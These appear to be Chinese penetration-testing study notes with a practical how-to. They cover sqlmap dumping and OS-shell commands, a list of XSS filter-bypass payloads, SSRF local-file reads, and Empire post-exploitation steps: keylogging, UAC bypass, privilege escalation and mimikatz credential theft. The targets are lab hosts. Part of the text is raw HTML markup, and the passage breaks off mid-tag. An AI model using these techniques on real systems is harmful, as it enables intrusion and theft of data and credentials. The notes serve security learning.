web安全攻防笔记

1.SQLmap 

是一种开源的渗透测试工具，可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。

支持的数据库：MySQL，Oracle, PostgreSQL, SQL Server,  Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

（1）      安装sqlmap前，需要先安装Python3.X

Python Releases for Windows | Python.org

（2）      在环境变量path中，增加python3.x 安装路径

（3）      下载sqlmap并解压缩：

地址：sqlmap: automatic SQL injection and database takeover tool

Python sqlmap.py -u http://xxx.xxx.xxx/

Python sqlmap.py –help 查看帮助 borp

 sqlmap支持五种不同的注入模式：

• UNION query SQL injection（可联合查询注入）
• uError-based SQL injection（报错型注入）
• uBoolean-based blind SQL injection（布尔型注入）
• uTime-based blind SQL injection（基于时间延迟注入）
• uStacked queries SQL injection（可多语句查询注入）

2.sqlmap 常用命令参数

-u  /--url  最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”

-m 从文本中获取多个目标扫描，但是每一个一个url. sqlmap -m urllist.txt

-r 从文件中加载HTTP请求，这样的话就不需要再去设定cookie，POST数据….

--dbs 返回当前连接的数据库

--current-db 返回当前网站数据库的数据库用户

-D 指定数据库系统的数据库名

--tables 列举数据库表

-T 指定数据库表名

--columns 列举数据库表中的字段

-C 指定数据库表中的字段名

--dump 获取整个表的数据

3.设置回显等级

参数： -v默认为1

0 只显示python错误以及严重的信息

1 基本信息和警告信息

2 debug信息

3 注入的payload

（级别越高显示信息越多）

 4同时显示HTTP请求。

5同时显示HTTP响应头。

6同事显示HTTP响应页面。

--data 把数以post方式提交，sqlmap会像检测GET参数一样检测POST过去的参数。

--cookie （用于区分用户）

可能会有漏洞，当web登录时，抓取数据包。

 4.设置HTTP数据包相关参数

HTTP User-Agent 头

参数：--random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。

sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs

sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞

5.设定探测等级：--level

共有五个等级 默认为1 sqlmap使用的payload可以在xml/payloads.xml中看到

--users 列数据库管理用户

--current-user 在数据库中，目前连接的用户

--is-dba 判断当前是否为管理，是的话返回true

--proxy 指定一个代理服务器  eg: -proxy http://xxxxxx.8080

--os-shell 前提：需要网站的物理路径，其次是需要有FIILE权限

 6.Sqlmap“六步”

第一步：判断是否注是注入点

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)”

检测该网站是否存在漏洞   白色加粗字体为注入点 也就是攻击对象

 

第二步：获取数据库

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” –dbs

 

第三步：查看当前应用程序所用数据库

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)”  --current-db

 

四：列出指定数据库的所有表

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security（目标数据库）”—tables

 

五：读取指定表中的字段名称

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users –colunms

 

六：读取指定字段内容

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users -C username,password –dump（dump=下载，脱库）

 

 

判断当前数据库用户权限：

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --is-dba

如果是TRUE  ，那么权限该用户很大。

 

-roles 列出数据库管理员角色

 如果当前用户有权限读取包含所有用户的表，输入该命令会列举出每个用户的角色，

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles

 

-referer HTTPReferer头

当–level参数设定为3或3以上时，会尝试对HTTP Referer注入。可以使用referer命令来欺骗，如--referer https://mp.mysite.net

-sql-shell 运行自定义的sql语句

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell

运行任意操作系统命令：

选择后台语言

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami

 

--os-cmd=whoami

--os-shell

(以你的电脑为跳板，对局域网进行渗透，或留后门)

--file-read 从数据库服务器中读取文件  ：当前用户有权限使用特定的函数时，读取的文件可以是文本，也可以是二进制文件。

上传文件到数据库服务器中：

--file-write

--file-dest

读取指定数据库用户的密码 

sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root

SQLMAP进阶 常用tamper脚本

  apostrophemask.py 将引号替换为utf-8，用于过滤单引号 （易容术）

适用数据库：ALL

作用：将引号替换为utf-8，用于过滤单引号

使用脚本前：tamper("1 AND '1'='1")

使用脚本后：1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

  multiplespaces.py  围绕sql关键字添加多个空格 去绕过

适用数据库：ALL

作用：围绕sql关键字添加多个空格

使用脚本前：tamper('1 UNION SELECT foobar')

使用脚本后：1 UNION SELECT foobar

 

3. Burp Suite工具

一．配置及代理设置

1.使用前配置

①选择代理Proxy选项卡

②选择设置option选项卡

③Edit Running打勾  124.0.0.1:8080

配置成功

历史访问

 

二．功能模块讲解

 

 

模块介绍

send to spider 发送给爬虫模块

do a active scan 进行一次主动扫描

send to intruder 发送给爆破模块

send to repearter 发送给重放模块

send to comparer 发送给比对模块

send to decoder 发送给解码模块

request in browser 将请求在浏览器重放

 四：MYSQL与SQL注入

mysql知识点- 基本查询语句

1. 查询表中全部信息： select *from 表明-关键的函数

select+以下语句

       version() 数据库版本

       database() 数据库名

       user() 用户名

       current_user() 当前用户名

       system_user() 系统用户名

       @@datadir 数据库路径

       @@version_compile_os 操作系统版本

-order by（排序） 语法

-联合查询

order by 1—

order by 2—确定字段数

   使用UNION操作符注入另外一个select查询，并将查询结果附加在第一次查询结果之后。第二次查询能够从另外一个完全不同的数据库表中提取数据

  注意： 相同的列结构

               需要有知道表结构，列结构

       exists（）函数猜解表明

       information_schema 是一个mysql系统自带的元数据库

information_schema.SCHEMATA 查看所有的数据库

五、 XSS基础

1、什么是XSS?

       中文名为跨站脚本攻击，跨站脚本，(Cross-Site Scripting, XSS)，当目标网站用户在渲染HTML文档的过程中，出现非预期的脚本指令并执行时，XSS就发生了。

2、攻击者给予应用恶意XSS代码，导致用户访问应用或服务器时执行代码，导致被XSS攻击。

  攻击者→服务器→用户（xss是一种迫使Web站点回显可执行代码的攻击技术，而这些可执行代码由攻击者提供、最终为用户浏览器加载）

3、XSS的危害： 1.网络钓鱼，包括盗取各类用户的账号

                            2.窃取用户cookies资料，从而获取用户信息。

                            3.获取客户端信息，IP/端口等

                            4.劫持用户浏览器会话，从而执行任意操作

                            5.强制弹出窗口。

                            6.网页挂马，进行恶意操作

                            7.进行大量的客户端攻击 如DDoS攻击

                            8.控制受害者机器向其他客户端攻击

4、XSS分类  

①反射型 ：非持久型，调取用户cookie或者进行钓鱼，常常为通过引诱用户点击一个恶意链接来实施攻击。

（特点：

① 主要用于将恶意脚本附加到URL地址的参数中

② 只在用户单击url时触发,而且只执行一次,非持久化

③常用来窃取客户端 Cookies

或进行钓鱼欺骗.

④常常为通过引诱用户点击一

个恶意链接来实施攻击的）

name为可控参数

 

我们可以通过执行恶意代码弹窗，那么也能做些对我们有利的事情。

       当我们构造好了如下恶意代码，发送给受害者。

       将会弹出用户的cookie值，我们构造js代码，将该cookie值发送至我们自己的服务器，或者用XSS平台接收该cookie（例如https://xsshs.cn/），我们就能通过该cookie非法登录受害者的账户。

• 利用XSS弹出恶意警告框

   

•  网页不停刷新

http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=

• 获得cookie

• 劫持流量（跳转到你的博客强行吸粉）

③dom型： 将XSS代码嵌入dom文档（每一个网页），通过JS脚本对文档对象进行编辑从而修改页面元素，增加漏洞。 

 xss平台

1.获取COOKIE(这是必须的最基本的功能)

2.获取源码(取当前网页的源码)

3.截图(可自己修改为连续截图)

https://xss.pt

https://xssaq.com

• XSS利用——无任何过滤
  • 
    alert(1);
  • 
             //onerror等事件，可以调用js
  • 
    
  • 
    
  • 
          //src中支持伪协议
  • <br> <textarea οnfοcus=alert("xss"); autofocus></li> </ul></li> <li>往往用户可控的参数都进行了过滤，不会让你用一个<script>标签就轻易攻击成功</li> </ul> <p><script>shellcode</script></p> <p>XXS绕过：</p> <ul> <li>关键字绕过 <ul> <li>空格绕过 <ul> <li>用/代替空格 <img/src="x"/οnerrοr=alert("xss");></li> <li>关键字绕过 <ul> <li>大小写绕过  <ImG sRc=x onerRor=alert("xss");></li> <li>利用其他标签</li> <li>双写关键字  <imimgg srsrcc=x οnerrοr=alert("xss");></li> <li>字符拼接      <img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"><br>              <script>top["al"+"ert"](`xss`);</script><br>             </li> <li>利用函数进行编码绕过 <ul> <li>Unicode绕过<br> <img src="x" οnerrοr="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> 利用函数进行编码绕过</li> <li>ASCII码<br> <img src="x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"></li> <li>Hex绕过<br> <img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')></li> <li>Base64编码<br> <img src="x" οnerrοr="eval(atob('YWxlcnQoJ3hzcycp'))"><br> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">            </li> </ul></li> </ul></li> </ul></li> </ul></li> <li>过滤括号 <ul> <li>当括号被过滤的时候可以使用throw来绕过<br> <svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';"> //异常处理</li> <li>反引号<br> <img src=x οnerrοr=alert`1`></li> </ul></li> <li>过滤双引号，单引号 <ul> <li>反引号<br> <img src=1 οnerrοr=alert`1`;></li> </ul></li> <li>js事件 <ul> <li>当某个位置的可控点在一个标签内，那么或许可以通过js事件来完成xss操作</li> </ul></li> <li><img src=1 οnerrοr=alert`1`;></li> </ul> <p> </p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/34b89d1c663b48b7893e34963f00c496.jpg" target="_blank"><img alt="web安全攻防笔记_第22张图片" src="http://img.e-com-net.com/image/info8/34b89d1c663b48b7893e34963f00c496.jpg" width="650" height="614" style="border:1px solid black;"></a></p> <p></p> <ul> <li>混淆：<br> 利用html标签格式的不严格、容错性。 <ul> <li>关键字中加空格</li> <li>加TAB</li> <li>回车</li> </ul></li> </ul> <p>url编码<br> <img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"><br> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe></p> <p></p> <p></p> <p>六．Cref漏洞</p> <p>1，漏洞介绍:  一种对网站的恶意使用。与 xss相比不大流行（因此对其防范相当稀少，比xss更加具有危险性。</p> <p>   原理：利用目标用户身份，以目标用户名义执行非法操作（以目标用户名义发邮件，消息，盗取目标账号，购买商品，虚拟货币转账等），会泄露目标用户的财产安全。</p> <p>      Ps：（CSRF漏洞经常用来制作蠕虫攻击，刷SEO流量）</p> <p>靶场实战：漏洞分析：</p> <p>            ：</p> <p> </p> <p class="img-center"><img alt="" src="http://img.e-com-net.com/image/info8/07e1dcb6751a4118853b36f5a266b8ad.jpg" width="0" height="0"></p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/6ced7b19944a4b9c859e5c3961f611fd.jpg" target="_blank"><img alt="web安全攻防笔记_第23张图片" src="http://img.e-com-net.com/image/info8/6ced7b19944a4b9c859e5c3961f611fd.jpg" width="650" height="174" style="border:1px solid black;"></a></p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/0f34b82d716f48bbb304800bfef26944.jpg" target="_blank"><img alt="web安全攻防笔记_第24张图片" src="http://img.e-com-net.com/image/info8/0f34b82d716f48bbb304800bfef26944.jpg" width="650" height="372" style="border:1px solid black;"></a></p> <p></p> <p></p> <p></p> <p>Ssrf漏洞：是一种由攻击者构造请求，由服务器发起请求的安全漏洞。与csrf最大的区别是一个是服务器，一个是由客户端发起的。</p> <p>在域名后增加url=语句，从而利用ssrf漏洞篡改脚本访问的地址。</p> <p>攻击方式如下：</p> <p>A，对外网，服务器所在的内网，本地进行端口扫描，获取的banner信息。</p> <p>B，攻击运行在内网或本地的应用程序。</p> <p>C，对内网web应用进行指纹识别，识别企业内部的资产信息。</p> <p>D.攻击内外网的web应用，主要是用HTTP请求就可以实现的攻击（比如struts2，sqli</p> <p>等等）</p> <p>E，利用file协议读取本地文件。</p> <p> SSRF漏洞利用：</p> <p>测试地址：http://127.0.0.1.1/ssrf.php?Url=http:127.0.0.7/2.php</p> <p>页面ssrf.php实现的功能获取GET参数URL，然后将url的内容返回网页上。</p> <p>如果将请求的网址篡改为http://www.baidu.com，则会显示http://www.baidu.com的网页内容，但是，当设置参数URL为内网地址时，则会泄露内网信息。</p> <p>访问ssrf.php?Url=file://C:/wwindows/win.ini即可读取本地文件。</p> <p> </p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/b0de432ecd104028b28a2f7b45e4f47e.jpg" target="_blank"><img alt="web安全攻防笔记_第25张图片" src="http://img.e-com-net.com/image/info8/b0de432ecd104028b28a2f7b45e4f47e.jpg" width="650" height="384" style="border:1px solid black;"></a></p> <p></p> <p>Ssrf漏洞修复建议：</p> <ol> <li>，限制请求的端口只能为web端口，只允许访问HTTP和HTTPS的请求。</li> <li>限制不能访问的内网ip，以防止对内网进行攻击。</li> <li>屏蔽返回的详细信息。</li> </ol> <p>七，Empire</p> <p>Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具，具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能，还可以快速在后期部署漏洞利用模块，其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等，使用能够躲避内网检测和大部分安全防护工具的查杀，简单来说就有点类似Metasploit，是一个基于PowerShell的远程控制木马。</p> <p>Empire运行在linux平台上</p> <p>官方下载地址，不过很久没有更新，需要Python 2.6/2.7环境</p> <p>https://github.com/EmpireProject/Empire</p> <p>KALI示例：     </p> <p>git clone https://github.com/EmpireProject/Empire.git</p> <p>​</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/677fe503cab441e2b6e06e1af8d037a3.png" target="_blank"><img alt="web安全攻防笔记_第26张图片" src="http://img.e-com-net.com/image/info8/677fe503cab441e2b6e06e1af8d037a3.png" width="921" height="169" style="border:1px solid black;"></a></p> <p></p> <p>然后安装Empire的依赖，命令如下</p> <p>cd Empire</p> <p>cd setup</p> <p>pip install -r requirements.txt（若没有安装pip库，则需要先通过apt-get install pip进行安装）</p> <p>./install.sh</p> <p>在安装完依赖以后，返回上一级文件，启动Empire工具，命令如下：</p> <p>cd ..</p> <p>./empire</p> <p>​ 若启动失败，则可能是因为依赖未完全安装好，只需要手动通过pip install xxx安装未安装好的依赖即可。</p> <p>启动时如果遇到如下报错</p> <p> </p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/a5ae4edded2a4d789db51381ea706113.jpg" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/a5ae4edded2a4d789db51381ea706113.jpg" width="650" height="79"></a></p> <p></p> <p>可以将urllib3版本降级</p> <p>pip install urllib3==1.22</p> <p>重新设定</p> <p>bash reset.sh</p> <p></p> <p><strong>基本使用会涉及如下内容：</strong></p> <p>1.帮助文档</p> <p>2.设置监听</p> <p>3.生成木马</p> <p>4.连接主机和基本使用</p> <p>5.信息收集</p> <p>6.权限提升</p> <p><strong>帮助文档</strong></p> <p>​运行Empire后，输入help命令查看具体的使用帮助。</p> <p> </p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/2df7173cf66e4b8d9992cfee02ad419e.png" target="_blank"><img alt="web安全攻防笔记_第27张图片" src="http://img.e-com-net.com/image/info8/2df7173cf66e4b8d9992cfee02ad419e.png" width="1135" height="598" style="border:1px solid black;"></a></p> <p></p> <p>设置监听步骤如下：</p> <p>listeners #进入监听线程界面</p> <p>uselistener #设置监听模式</p> <p>info #查看具体参数设置</p> <p>set #设置相应参数</p> <p>execute #开始监听</p> <p>输入Listeners命令进入监听界面，按TAB键可以补全命令，按两次TAB键或者help可以显示可以利用的模块</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/7735cd55747c414d875ca10080ff1bfc.png" target="_blank"><img alt="web安全攻防笔记_第28张图片" src="http://img.e-com-net.com/image/info8/7735cd55747c414d875ca10080ff1bfc.png" width="1003" height="157" style="border:1px solid black;"></a></p> <p></p> <p>输入uselistener来设置采用何种监听模式，双击TAB可以看到有以下可以使用的模式。</p> <p> </p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/0b4e951a98b2442984f8a0e4b148296e.png" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/0b4e951a98b2442984f8a0e4b148296e.png" width="917" height="79"></a></p> <p></p> <p><strong>设置监听</strong></p> <p>这里采用http监听模式，输入uselistener http。</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/00cf2d309b19467bbd64da3a073f3058.png" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/00cf2d309b19467bbd64da3a073f3058.png" width="859" height="49"></a></p> <p></p> <p>然后输入info命令查看具体参数设置。其中Require为True的值都需要被设置。</p> <p> </p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/c6b4ac0ab7a34b568957ffa709e64060.jpg" target="_blank"><img alt="web安全攻防笔记_第29张图片" src="http://img.e-com-net.com/image/info8/c6b4ac0ab7a34b568957ffa709e64060.jpg" width="650" height="359" style="border:1px solid black;"></a></p> <p></p> <p>通过set配置参数，并提供execeute执行，需要注意的是Empire不同于Metasploit，Empire命令是区分大小写的</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/d3d2b257197c4de5ab79a72f18e5447c.png" target="_blank"><img alt="web安全攻防笔记_第30张图片" src="http://img.e-com-net.com/image/info8/d3d2b257197c4de5ab79a72f18e5447c.png" width="946" height="294" style="border:1px solid black;"></a></p> <p></p> <p>通过back返回上一级，使用listeners或者list可以查看所设置的监听器</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/539fbb04b6da4bec996a1929b22a7664.png" target="_blank"><img alt="web安全攻防笔记_第31张图片" src="http://img.e-com-net.com/image/info8/539fbb04b6da4bec996a1929b22a7664.png" width="1158" height="185" style="border:1px solid black;"></a></p> <p></p> <p><strong>生成木马</strong></p> <p>输入usestager后 空格加TAB键 查看可以设置的木马模式</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/57bcc056b516454eaa954666fcf1a5d2.jpg" target="_blank"><img alt="web安全攻防笔记_第32张图片" src="http://img.e-com-net.com/image/info8/57bcc056b516454eaa954666fcf1a5d2.jpg" width="650" height="119" style="border:1px solid black;"></a></p> <p></p> <p>木马就类似Metasploit中的payload，其中multi为通用模块，osx是Mac操作系统的模块，剩下的是Windows的模块。</p> <p>我们以 windows/launcher_bat为例，给大家说下过程，其他的使用都类似</p> <p>要使用launcher_bat，首先输入usestager windows/launcher_bat，然后输入info命令查看详细参数</p> <p> </p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/5c927489dc464a31b63b075dc58a4600.png" target="_blank"><img alt="web安全攻防笔记_第33张图片" src="http://img.e-com-net.com/image/info8/5c927489dc464a31b63b075dc58a4600.png" width="1069" height="446" style="border:1px solid black;"></a></p> <p></p> <p></p> <p>通过set配置参数，我们需要设置一个 Listener 参数，即监听的名字（前面我们给监听起得一个名字test1），通过execeute执行，</p> <p>文件会生成到 tmp 目录下，如下所示在目标主机上运行生成的launcher.bat，输入 agents 可以查看已经获得的会话</p> <p> </p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/c1216287fb86479f965b7954eee28bb0.png" target="_blank"><img alt="web安全攻防笔记_第34张图片" src="http://img.e-com-net.com/image/info8/c1216287fb86479f965b7954eee28bb0.png" width="973" height="107" style="border:1px solid black;"></a></p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/1f76f673f23641b8b041d23b0157783c.jpg" target="_blank"><img alt="web安全攻防笔记_第35张图片" src="http://img.e-com-net.com/image/info8/1f76f673f23641b8b041d23b0157783c.jpg" width="650" height="170" style="border:1px solid black;"></a></p> <p></p> <p></p> <p>我们再介绍另一种生成木马方式：launcher</p> <p>如果只需要简单的powershell 代码，在设置完相应的参数后，可直接在监听器（listeners）中输入命令 launcher <language> <Listener Name> 生成base64编码的代码</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/53dbb61ec0c44389b803c666077dcdab.jpg" target="_blank"><img alt="web安全攻防笔记_第36张图片" src="http://img.e-com-net.com/image/info8/53dbb61ec0c44389b803c666077dcdab.jpg" width="650" height="152" style="border:1px solid black;"></a></p> <p></p> <p>然后复制生成的payload 在目标机器上执行</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/ebdedf82d51a4f07bbd3dd5637e30d66.jpg" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/ebdedf82d51a4f07bbd3dd5637e30d66.jpg" width="650" height="52"></a></p> <p></p> <p>可以看到有会话生成，输入 agents 可以查看已经获得的会话</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/70535cacd51b4d538e37ef88fe11e7fb.jpg" target="_blank"><img alt="web安全攻防笔记_第37张图片" src="http://img.e-com-net.com/image/info8/70535cacd51b4d538e37ef88fe11e7fb.jpg" width="650" height="180" style="border:1px solid black;"></a></p> <p></p> <p><strong>连接主机和基本使用</strong></p> <p>​在目标主机反弹成功以后，可以通过agents命令列出当前已连接的主机，这里要注意如果有带有(*)的是已提权成功的主机。</p> <p>然后使用interact命令连接主机，可以使用Tab键补全主机的名称，连接成功以后可以通过rename修改会话名称</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/241b7db4f6574d6b824dfc56993c12b4.jpg" target="_blank"><img alt="web安全攻防笔记_第38张图片" src="http://img.e-com-net.com/image/info8/241b7db4f6574d6b824dfc56993c12b4.jpg" width="650" height="164" style="border:1px solid black;"></a></p> <p></p> <p>可以通过help查看可以使用的命令</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/88302907aad84c6ab3a5e195909b55ce.jpg" target="_blank"><img alt="web安全攻防笔记_第39张图片" src="http://img.e-com-net.com/image/info8/88302907aad84c6ab3a5e195909b55ce.jpg" width="650" height="463" style="border:1px solid black;"></a></p> <p></p> <p>输入help agentcmds可以查看可供使用的常用命令输入help agentcmds可以查看可供使用的常用命令可以通过pwd查看当前目录</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/d6034f40d7034d5f8c3911d94723a765.png" target="_blank"><img alt="web安全攻防笔记_第40张图片" src="http://img.e-com-net.com/image/info8/d6034f40d7034d5f8c3911d94723a765.png" width="796" height="246" style="border:1px solid black;"></a></p> <p></p> <p>upload可以上传文件，通过cat查看文件内容</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/8c62c0412c374e9eb79000dfcb1e0180.png" target="_blank"><img alt="web安全攻防笔记_第41张图片" src="http://img.e-com-net.com/image/info8/8c62c0412c374e9eb79000dfcb1e0180.png" width="523" height="217" style="border:1px solid black;"></a></p> <p></p> <p>使用某些CMD命令时，要使用“shell+命令的形式” ，如下</p> <p> </p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/bdbbbb946957492ea85198b37b243b5e.png" target="_blank"><img alt="web安全攻防笔记_第42张图片" src="http://img.e-com-net.com/image/info8/bdbbbb946957492ea85198b37b243b5e.png" width="637" height="238" style="border:1px solid black;"></a></p> <p></p> <p>Empire主要用于后渗透。所以信息收集是比较常用的一个模块，可以使用searchmodule命</p> <p>令搜索需要使用的模块，这里通过键如usemodule collection然后按Tab查看完整的列表</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/c11c5d4a09c743708d2270bd87b67138.jpg" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/c11c5d4a09c743708d2270bd87b67138.jpg" width="650" height="61"></a></p> <p></p> <p>1.屏幕截图</p> <p>​输入以下命令，然后执行即可</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/c2896548c01543d99fe6deb2b9375b63.jpg" target="_blank"><img alt="web安全攻防笔记_第43张图片" src="http://img.e-com-net.com/image/info8/c2896548c01543d99fe6deb2b9375b63.jpg" width="650" height="120" style="border:1px solid black;"></a></p> <p></p> <p>​2.键盘记录</p> <p>​输入以下命令usemodule collection/keylogger，通过info可以查看详细信息，execute执行</p> <p>     可以通过jobs kill JOB_name停止键盘记录</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/52bd982bed804a7b902955cee867c02a.png" target="_blank"><img alt="web安全攻防笔记_第44张图片" src="http://img.e-com-net.com/image/info8/52bd982bed804a7b902955cee867c02a.png" width="740" height="824" style="border:1px solid black;"></a></p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/ccf66cd756d240b29bbd8247ac5acb37.png" target="_blank"><img alt="web安全攻防笔记_第45张图片" src="http://img.e-com-net.com/image/info8/ccf66cd756d240b29bbd8247ac5acb37.png" width="530" height="103" style="border:1px solid black;"></a></p> <p></p> <p>3.ARP扫描</p> <p>Empire也内置了ARP扫描模块，输入以下命令即可使用该模块，这里要设置Range参数</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/cb6a6da8a2e04686bd10b415d2a155fe.png" target="_blank"><img alt="web安全攻防笔记_第46张图片" src="http://img.e-com-net.com/image/info8/cb6a6da8a2e04686bd10b415d2a155fe.png" width="821" height="759" style="border:1px solid black;"></a></p> <p></p> <p> 4.查找域管登陆服务器IP</p> <p>在内网渗透中，要想拿到内网中某台机器的域管权限，方法之一就是找到域管登录的机器，然后横向渗透进去，窃取域管权限，从而拿下整个域，以下这个模块就是用来查找域管登录的机器的。</p> <p>使用模块usemodule situational_awareness/network/powerview/user_hunter</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/ea27ff59e0184303874446088ac4945f.jpg" target="_blank"><img alt="web安全攻防笔记_第47张图片" src="http://img.e-com-net.com/image/info8/ea27ff59e0184303874446088ac4945f.jpg" width="650" height="224" style="border:1px solid black;"></a></p> <p></p> <p><strong>权限提升</strong></p> <p>提权，顾名思义就是提高自己在服务器中的权限，就比如在Windows中，你本身登陆的用户是Guest，通过提权后，就会变成超级管理员，拥有了管理Windows的所有权限。以下是常见几种提权方式：</p> <p>1.Bypass UAC</p> <p>UAC介绍</p> <p>UAC（UserAccount Control，用户账户控制）简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/e9bd2da73c534501b7e5fb8b0b69b98e.jpg" target="_blank"><img alt="web安全攻防笔记_第48张图片" src="http://img.e-com-net.com/image/info8/e9bd2da73c534501b7e5fb8b0b69b98e.jpg" width="650" height="362" style="border:1px solid black;"></a></p> <p></p> <p>为了远程执行目标的exe或者bat可执行文件绕过此安全机制，以此叫BypassUAC（不进行弹窗直接运行执行文件）</p> <p>输入以下命令，设置Listener参数，运行execute，会发现成功上线了一个新的反弹</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/dd1ecb81d7054f4b86be02caa2ccb149.png" target="_blank"><img alt="web安全攻防笔记_第49张图片" src="http://img.e-com-net.com/image/info8/dd1ecb81d7054f4b86be02caa2ccb149.png" width="909" height="276" style="border:1px solid black;"></a></p> <p></p> <p>返回agents，通过list可以看到有一个新的会话，并且带有*，说明提权成功。</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/d0d7f01b26744c5eaf6cffd8d29e330c.jpg" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/d0d7f01b26744c5eaf6cffd8d29e330c.jpg" width="650" height="96"></a></p> <p></p> <p>2.PowerUp</p> <p> Empire内置了PowerUp的部分工具，用于系统提权，主要有Windows错误系统配置漏洞、Windows Services漏洞、AlwaysInstallElevated漏洞等8种提权方式，输入以下命令，然后通过tab键查看完整列表</p> <p class="img-center"><img alt="" src="http://img.e-com-net.com/image/info8/42594f030347418c8e1fc17f14e74437.jpg" width="650" height="27"></p> <p></p> <p>查找系统中的漏洞，和PowerSploit下PowerUp中的Invoke-AllChecks模块一样，该模块可以执行所有脚本检查系统漏洞</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/f77201e58fae4519b1af16808cffd9a9.png" target="_blank"><img alt="web安全攻防笔记_第50张图片" src="http://img.e-com-net.com/image/info8/f77201e58fae4519b1af16808cffd9a9.png" width="728" height="343" style="border:1px solid black;"></a></p> <p></p> <p>我们可以通过BypassUAC进行提权</p> <p>3.通过溢出漏洞</p> <p>本地溢出提权首先要有服务器的一个普通用户权限，攻击者通常会向服务器上传本地溢出程序，在服务器端执行，如果系统存在漏洞，那么将溢出Administrator权限。</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/f5d2e930f000489ba53b8cdcc58ad6f5.png" target="_blank"><img alt="web安全攻防笔记_第51张图片" src="http://img.e-com-net.com/image/info8/f5d2e930f000489ba53b8cdcc58ad6f5.png" width="674" height="362" style="border:1px solid black;"></a></p> <p></p> <p>这里我们使用ms16-032来提权，输入以下命令即可通过溢出漏洞进行提横向渗透，就是在已经攻占部分内网主机的前提下，利用既有的资源尝试获取更多的凭据、更高的权限，进而达到控制整个内网、拥有最高权限、发动类似 APT 的目的。</p> <p>在横向渗透中，最先得到的主机，以及之后新得到的主机，会成为突破口、跳板。如同一个不断扩大的圆形，获得的主机越多，圆能触及之处越大，让其周遭的「横向」部分由未知成为已知。</p> <p><strong>1.</strong><strong>令牌窃取</strong></p> <p>我们在获取到服务器权限后，可以使用内置mimikatz获取系统密码，执行完毕后输入creds命令查看Empire列举的密码。如下图所示</p> <p 